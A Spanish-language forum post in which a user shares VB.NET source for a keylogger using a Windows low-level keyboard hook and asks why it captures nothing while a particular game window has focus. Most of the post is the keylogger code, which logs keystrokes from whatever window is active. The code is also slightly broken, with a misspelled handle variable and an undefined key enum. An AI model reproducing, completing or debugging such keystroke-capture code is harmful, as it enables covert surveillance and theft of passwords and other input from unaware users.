Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - rmva2

#1
Hola buenas.


Acabo de terminar un KeyLogger basado en un hook de teclado Low-level.
Funciona divinamente en cualquier ventana activa, salvo en la que interesa: una ventana de un juego en concreto. Mientras esta ventana tenga el foco, no me reconoce ningún keystroke. Estoy empezando a pensar que está programado con toda intención jeje

¿Alguien podría decir a qué se podría deber? La verdad es que estoy perdido.
Gracias por adelantado.
Saludos!

El código:
Código (vbnet) [Seleccionar]

Class Keylogger


#Region "APIS"
    Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Integer) As Integer
    Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Integer, _
                                                                                      ByVal lpfn As KeyboardHookDelegate, _
                                                                                      ByVal hmod As Integer, _
                                                                                      ByVal dwThreadId As Integer) As Integer



    Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Integer, _
                                                          ByVal nCode As Integer, _
                                                         ByVal wParam As Integer, _
                                                         ByVal lParam As KBDLLHOOKSTRUCT) As Integer

    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32

    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, _
                                                                                    ByVal lpString As String, _
                                                                                    ByVal cch As Int32) As Int32

    Private Delegate Function KeyboardHookDelegate(ByVal Code As Integer, _
                                                   ByVal wParam As Integer, _
                                                   ByRef lParam As KBDLLHOOKSTRUCT) As Integer
#End Region
#Region "CONST, ESTRUCTURA, ENUM"
    Private Const WM_KEYUP As Integer = &H101
    Private Const WM_KEYDOWN As Short = &H100S
    Private Const WM_SYSKEYDOWN As Integer = &H104
    Private Const WM_SYSKEYUP As Integer = &H105

    Public Structure KBDLLHOOKSTRUCT
        Public vkCode As Integer
        Public scanCode As Integer
        Public flags As Integer
        Public time As Integer
        Public dwExtraInfo As Integer
    End Structure

#End Region
#Region "VARIABLES"
    Private KeyboardHandle As IntPtr = 0
    Private LastCheckedForegroundTitle As String = ""
    Private callback As KeyboardHookDelegate = Nothing
    Private KeyLog As String

#End Region
    Public Sub HookKeyboard()
        callback = New KeyboardHookDelegate(AddressOf KeyboardCallback)
        KeyboardHandle = SetWindowsHookEx(13, callback, Process.GetCurrentProcess.MainModule.BaseAddress, 0)
    End Sub
    Private Function Hooked()
        Return KeyboardHandle <> 0
    End Function
    Public Function KeyboardCallback(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer

        Dim CurrentTitle = GetActiveWindowTitle()
        Dim Key As String = ""

        If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then
            Select Case lParam.vkCode
                Case virtualKey.K_0 To virtualKey.K_9
                    Key = ChrW(lParam.vkCode)
                Case virtualKey.K_A To virtualKey.K_Z
                    Key = ChrW(lParam.vkCode + 32)
                Case virtualKey.K_Backspace
                    Key = "[Backspace]"
                Case virtualKey.K_Return
                    Key = "[Enter]"
                Case virtualKey.K_Space
                    Key = " "
                Case virtualKey.K_Tab
                    Key = "[Tab]"
                Case virtualKey.K_Esc
                    Key = "[Escape]"
                Case virtualKey.K_Control
                    Key = "[Control]"
                Case virtualKey.K_LControl
                    Key = "[LControl]"
                Case virtualKey.K_RControl
                    Key = "[RControl]"
                Case virtualKey.K_LAlt
                    Key = "[LAlt]"
                Case virtualKey.K_LShift
                    Key = "[LShift]"
                Case virtualKey.K_Numpad0 To virtualKey.K_Numpad9
                    Key = ChrW(lParam.vkCode)
                Case virtualKey.K_PrintScreen
                    Key = "[PrintScreen]"
                Case virtualKey.K_RAlt
                    Key = "[RAlt]"
                Case virtualKey.K_RShift
                    Key = "[RShift]"
                Case 189
                    Key = "[-]"
                Case 191
                    Key = "ç"
                Case 222
                    Key = "[´]"
                Case 226
                    Key = "[>]"
                Case 220
                    Key = "º"
                Case 219
                    Key = "[¡]"
                Case 221
                    Key = "[']"
                Case 110
                    Key = "[./Supr]"
                Case 190
                    Key = "."
                Case 188
                    Key = ","
            End Select
        End If
        KeyLog &= Key
        Return CallNextHookEx(KeyboardHndle, Code, wParam, lParam)
    End Function